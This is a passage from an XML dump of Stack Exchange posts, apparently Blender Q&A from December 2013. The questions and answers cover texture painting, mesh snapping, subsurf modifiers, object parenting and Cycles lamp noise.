  <row Id="5691" PostTypeId="1" CreationDate="2013-12-20T02:25:22.250" Score="2" ViewCount="3956" Body="&lt;p&gt;I was experimenting with texture painting and noticed something really, really annoying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent 15-30 minutes painting, saved, then used the map as a texture. Note that I saved immediately after painting and before setting the object texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I did, it turned black. I couldn't make it go back, so I quit, making sure to not to save the messed up image. When I opened the save, the map was still messed up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it automatically save changes to the UV even when the blend it's self isn't saved?&lt;/p&gt;&#xA;" OwnerUserId="1911" LastEditorUserId="599" LastEditDate="2013-12-20T03:40:49.060" LastActivityDate="2014-07-22T10:05:58.970" Title="Texture-painted images turn black when used?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="10" ClosedDate="2014-07-24T08:15:56.123" ContentLicense="CC BY-SA 3.0" />
  <row Id="5692" PostTypeId="1" AcceptedAnswerId="5693" CreationDate="2013-12-20T09:38:48.953" Score="8" ViewCount="526" Body="&lt;p&gt;I have a mesh whose points ought to lie on a sphere.  They don't, but are roughly close.  Is there a convenient way to nudge them all along their radii to &quot;snap&quot; each to some fixed R?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been nudging each vertex by hand, for a simple demo model, but this isn't practical when I get to more elaborate cases.  I tries extrude-scaling the mesh toward the center point, then using a boolean intersection with a sphere, but that cut off all the intricate surface topology, leaving hollow shapes like oddly tapered cookie cutters.&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="55" LastEditDate="2013-12-20T12:13:22.000" LastActivityDate="2017-03-22T20:55:31.627" Title="Snapping points of a roughly spherical mesh exactly onto a sphere" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5693" PostTypeId="2" ParentId="5692" CreationDate="2013-12-20T09:42:11.457" Score="8" Body="&lt;h1&gt;To sphere:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could try &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/editing/transform/to_sphere.html#to-sphere&quot; rel=&quot;nofollow noreferrer&quot;&gt;To Sphere&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/meshes/editing/transform/to_sphere.html#to-sphere&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;em&gt;To Sphere&lt;/em&gt; transformation will give the selection spherical qualities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkuoG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Shrinkwrap:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Or using the &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/shrinkwrap.html#shrinkwrap-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shrinkwrap&lt;/a&gt;&lt;/em&gt; modifier to shrink your mesh to a sphere object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/shrinkwrap.html#shrinkwrap-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier allows an object to “shrink” to the surface of another object. It moves each vertex of the object being modified to the closest position on the surface of the given mesh (using one of the three methods available).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could add a shrinkwrap modifier to your mesh and set the &lt;em&gt;Target&lt;/em&gt; to a sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qBczD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2017-03-22T20:55:31.627" LastActivityDate="2017-03-22T20:55:31.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5694" PostTypeId="2" ParentId="5675" CreationDate="2013-12-20T09:55:43.053" Score="2" Body="&lt;p&gt;You may try adding a remesh modifier to the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the properties view click the tool icon for the modifiers panel.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Without Remesh&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YWol8.png&quot; alt=&quot;Without Remesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;With Remesh&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FbT1x.png&quot; alt=&quot;With Remesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-01T21:10:05.927" LastActivityDate="2016-08-01T21:10:05.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5695" PostTypeId="1" CreationDate="2013-12-20T12:34:28.920" Score="0" ViewCount="972" Body="&lt;p&gt;Assuming I am not using any shaders which are CPU only, would you recommend against mixing GPU and CPU Cycles network rendering of an animation? &lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-12-20T17:33:20.660" LastActivityDate="2013-12-20T22:36:33.957" Title="Rendering animation frames with GPU and CPU" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5696" PostTypeId="1" CreationDate="2013-12-20T13:00:31.073" Score="2" ViewCount="2760" Body="&lt;p&gt;Is it possible to map a texture onto a sphere using python script? I am sure it is, but so far I was not able to figure out how to do it.&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="14" LastEditDate="2013-12-20T14:41:01.077" LastActivityDate="2013-12-23T20:43:10.140" Title="Using Python to create a sphere and map a texture onto it" Tags="&lt;python&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5697" PostTypeId="2" ParentId="5696" CreationDate="2013-12-20T17:58:30.840" Score="1" Body="&lt;p&gt;You should follow some beginner tutorials first, like &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender manual&lt;/a&gt;, to have an idea how to find yourself around Blender's API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get some feedback on comman tasks just pull down &lt;code&gt;Info Panel&lt;/code&gt; or change the layout to &lt;code&gt;Scripting&lt;/code&gt; like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VMD0J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you will have feedback for all actions you perform like you usually would:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hMmRN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2013-12-20T17:58:30.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5698" PostTypeId="2" ParentId="5695" CreationDate="2013-12-20T22:36:33.957" Score="1" Body="&lt;p&gt;No, I would not recommend against it, mainly because even if there are problems with hybrid rendering with the native network renderer, it's REALLY easy to get around it. By rendering to a network location and turning ON &quot;Placeholders&quot; and turning OFF &quot;Overwrite,&quot; any computers rendering to that location will sort it all out themselves, very nicely. This doesn't automate nearly as well as the Network Renderer (i.e. not at all), so if that's important to you, that would take some scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in short, there is a way to cooperatively render with multiple computers using a mix of GPU &amp;amp; CPU.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-20T22:36:33.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5699" PostTypeId="1" CreationDate="2013-12-21T02:29:39.730" Score="8" ViewCount="12701" Body="&lt;p&gt;I am trying to create a really worn-out stone texture. Here are some images similar to what I'm looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhctD.jpg&quot; width=&quot;250&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iUmZy.jpg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something that looks like the first image. Dirty and greyish-black. But I want it cracked like the second image. What kind of procedural texture nodes can/should I use for this? Here's what I got so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hb9LO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W3sIw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="60924" LastEditDate="2019-02-25T23:36:06.400" LastActivityDate="2019-02-25T23:36:06.400" Title="Creating a procedural stone texture" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;procedural&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5700" PostTypeId="1" CreationDate="2013-12-21T03:35:24.433" Score="10" ViewCount="1942" Body="&lt;p&gt;It happens sometimes that after finishing &lt;code&gt;bake&lt;/code&gt; (e.g., for fluid simulation) we wish we could continue the simulation for two more seconds :(  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to use the cached bake to continue the simulation?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We played with the settings, but with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/81H0b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="599" LastEditDate="2013-12-21T03:46:15.437" LastActivityDate="2021-05-07T17:30:03.820" Title="How to resume baking fluid simulation?" Tags="&lt;fluid-simulation&gt;&lt;baking&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5701" PostTypeId="1" AcceptedAnswerId="6570" CreationDate="2013-12-21T03:41:02.633" Score="6" ViewCount="3116" Body="&lt;p&gt;I have a nice procedural dirt texture made up for a sphere, but when I play the game with an object that utilizes the texture, it will only show the color of the defuse and completely ignore any textures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when I switch back to the Blender Render mode, the renders will not display the texture.&#xA;Hopefully this image will give you some context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xOnuN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1920" LastEditorUserId="12" LastEditDate="2013-12-21T13:19:13.380" LastActivityDate="2015-06-10T01:53:20.603" Title="Does the Blender Game Engine Support Texture Nodes?" Tags="&lt;materials&gt;&lt;game-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5702" PostTypeId="1" AcceptedAnswerId="5703" CreationDate="2013-12-21T06:29:10.573" Score="6" ViewCount="3123" Body="&lt;p&gt;When I animate the iron sight and my gun separately, they kind of separate; the iron sights come off the gun (pictures below). What I want to do is join the objects together such that I could still move them separately (they would still be objects), but they would be able to be transformed together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2dpYB.png&quot; alt=&quot;when moving the gun upwards  and rotating&quot; title=&quot;when moving the gun upwards  and rotating&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hqACS.png&quot; alt=&quot;default position&quot; title=&quot;default position&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="12" LastEditDate="2013-12-21T14:55:46.737" LastActivityDate="2013-12-22T07:35:28.367" Title="Temporarily join objects while animating" Tags="&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5703" PostTypeId="2" ParentId="5702" CreationDate="2013-12-21T06:51:06.547" Score="2" Body="&lt;p&gt;You can &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Parenting_objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;Parent&lt;/a&gt;&lt;/em&gt; the object together.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Parenting_objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Moving and rotating the parent will also usually move/rotate the child/children. However moving/rotating the child/children of the parent will not result in the parent moving/rotating. In other words, influence is usually descendant (parent → child/children), and not ascendant (child/children → parent).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To parent one object to another, select them with the object you want to be the parent active (yellow) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the sights, then select the main object last so it is the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;active object&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uUXTB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&amp;gt; Object&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OZuoE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now the parented objects will have a dashed line drawn between them and the parent:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qz6pK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Moving the parent will move the child objects, but you will be able to move the child objects separately:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jr0BV.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-21T07:35:39.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5705" PostTypeId="1" AcceptedAnswerId="5706" CreationDate="2013-12-21T09:31:44.990" Score="32" ViewCount="42638" Body="&lt;p&gt;How can I apply a modifier only to a part of an object? I want to model a goblet with a pedestal, and if I add a subsurf, the pedestal, of course, gets an unwanted round shape. How can I avoid that? I have tried Googling it, but, to my surprise, found nothing.&lt;/p&gt;&#xA;" OwnerUserId="1647" LastEditorUserId="395" LastEditDate="2013-12-21T09:52:31.870" LastActivityDate="2016-07-11T23:36:34.397" Title="Apply subsurf modifier to only part of an object" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="5706" PostTypeId="2" ParentId="5705" CreationDate="2013-12-21T09:41:39.837" Score="23" Body="&lt;p&gt;This is possible on some modifiers via vertex groups, however this is not possible with subsurf modifier.&lt;/p&gt;&#xA;&lt;p&gt;You could instead try some of these:&lt;/p&gt;&#xA;&lt;p&gt;For reference, here is the original subsurfed mesh:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J71Gd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Separating_Objects&quot; rel=&quot;noreferrer&quot;&gt;Separate&lt;/a&gt; the pedestal and goblet into different objects (&lt;em&gt;&lt;kbd&gt;P&lt;/kbd&gt; &amp;gt; By Selection&lt;/em&gt;). E.g. by separating the face of the cube on the &lt;code&gt;+X&lt;/code&gt; axis:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9UM8C.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Vertices#Split&quot; rel=&quot;noreferrer&quot;&gt;Split&lt;/a&gt;&lt;/em&gt; off geometry in &lt;em&gt;Edit Mode&lt;/em&gt; with &lt;kbd&gt;Y&lt;/kbd&gt;. This will give basically the same result as &lt;em&gt;Separate&lt;/em&gt;, but within a single object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESPxT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could also use the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Edge_Split&quot; rel=&quot;noreferrer&quot;&gt;Edge Split&lt;/a&gt;&lt;/em&gt; modifier the same way, by either using &lt;em&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; &amp;gt; Mark Sharp&lt;/em&gt;, or with the &lt;em&gt;Edge Angle&lt;/em&gt; property.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf#Edge_Loops&quot; rel=&quot;noreferrer&quot;&gt;Use supporting geometry&lt;/a&gt; (i.e. edgeloops) to make edges less round. You could use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; to add loopcuts, or use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; to bevel edges (using the mousewheel to adjust the number of segments). E.g. bevel with &lt;code&gt;2&lt;/code&gt; segments:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6OVgs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf#Weighted_Creases&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Mean crease&lt;/em&gt;&lt;/a&gt; to make edges less round (&lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;). E.g. with a &lt;em&gt;Crease&lt;/em&gt; weight of &lt;em&gt;1&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ojbC4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-07-11T23:36:34.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5707" PostTypeId="2" ParentId="5705" CreationDate="2013-12-21T10:11:19.777" Score="10" Body="&lt;p&gt;Another way would be to separate the mesh into two objects and group them. &#xA;After that you can assign modifiers as you like to the different parts of the mesh,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First select some vertices in the Edit Mode, &lt;kbd&gt;P&lt;/kbd&gt; to Separate,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lj4o8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select both objects and set one as parent &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DUhyp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-21T10:11:19.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5708" PostTypeId="2" ParentId="5705" CreationDate="2013-12-21T10:50:40.040" Score="8" Body="&lt;p&gt;Yet another way, is to use &lt;strong&gt;Bevel&lt;/strong&gt; modifier. For comparison, here's the result of &lt;em&gt;Edge Crease&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnukE.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and with &lt;em&gt;Edge Bevel Weight&lt;/em&gt; + &lt;strong&gt;Bevel&lt;/strong&gt; modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZdWQ.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are done by marking the same set of edges, the latter with &lt;em&gt;Edge Bevel Weight&lt;/em&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J7ufm.png&quot; alt=&quot;3a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... then placing a &lt;strong&gt;Bevel&lt;/strong&gt; modifier atop (applied before) the &lt;strong&gt;Subsurf&lt;/strong&gt;, setting its limit method to &lt;em&gt;Weight&lt;/em&gt; so it uses each edge's bevel weight to consider which ones to bevel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bHtk9.png&quot; alt=&quot;4a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bevel's smoothness can be further configured by tweaking the modifier's &lt;em&gt;Width&lt;/em&gt; and &lt;em&gt;Segments&lt;/em&gt; settings. In contrast with edge crease, this method adds vertices, even more with each additional &lt;strong&gt;Bevel&lt;/strong&gt; segments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fBoyU.png&quot; alt=&quot;5a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-12-21T10:57:53.373" LastActivityDate="2013-12-21T10:57:53.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5709" PostTypeId="1" AcceptedAnswerId="5710" CreationDate="2013-12-21T15:41:43.023" Score="3" ViewCount="621" Body="&lt;p&gt;My goal is to model an object with 2 different textures(one from each side).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an original object that represents the external side (normals pointing to the outside). I then duplicated it and flipped the normals(so it represents the internal side). I also unchecked the checkbox 'Double Sided' in the Object Data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me to remove the overlaying texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbdgh.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1894" LastEditorUserId="12" LastEditDate="2013-12-21T18:32:50.773" LastActivityDate="2013-12-21T18:32:50.773" Title="2 different textures are overlaying (Blender Render)" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5710" PostTypeId="2" ParentId="5709" CreationDate="2013-12-21T16:49:00.763" Score="5" Body="&lt;p&gt;You were correct in adding geometry. However, when vertices/faces share the exact same space in Blender, you will get artifacts that are drawn all of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, simply adjust the geometry so it doesn't share the same space. You can scale it in (with &lt;kbd&gt;S&lt;/kbd&gt; or &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;) or delete the inside geometry, add a solidify modifier and set the material index offset to the material index of the inside material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jfUoL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(The material index is zero-based. Thus, the selected materials index is 1)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qKjAH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Set the material index to 1)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJkMB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Object cut in half for demonstration purposes)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-21T16:49:00.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5711" PostTypeId="1" CreationDate="2013-12-21T20:24:29.267" Score="7" ViewCount="2378" Body="&lt;p&gt;I have noticed that some lamp types result in less noise than others.&#xA;For example, a point lamp gives less noise than a mesh lamp (rendered at 10 samples):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gEvYS.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Do7GR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/25857&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the blendfile&lt;/a&gt; used for this test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which lamp types give the least amount of noise and why?&lt;br&gt;&#xA;What is the technical explanation of how these lamps are calculated?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-24T09:03:07.930" LastActivityDate="2013-12-24T14:39:12.087" Title="How are cycles lamp types different?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5712" PostTypeId="1" AcceptedAnswerId="23006" CreationDate="2013-12-21T21:06:09.740" Score="15" ViewCount="2341" Body="&lt;p&gt;I noticed that with some shaders, every other sample seems have less noise than the sample before and after it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shaders I noticed this with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;SSS&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rough Diffuse&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Toon&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Translucent&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Velvet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, using the SSS shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample &lt;code&gt;1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gwaqw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample &lt;code&gt;2&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5V3Tj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample &lt;code&gt;3&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 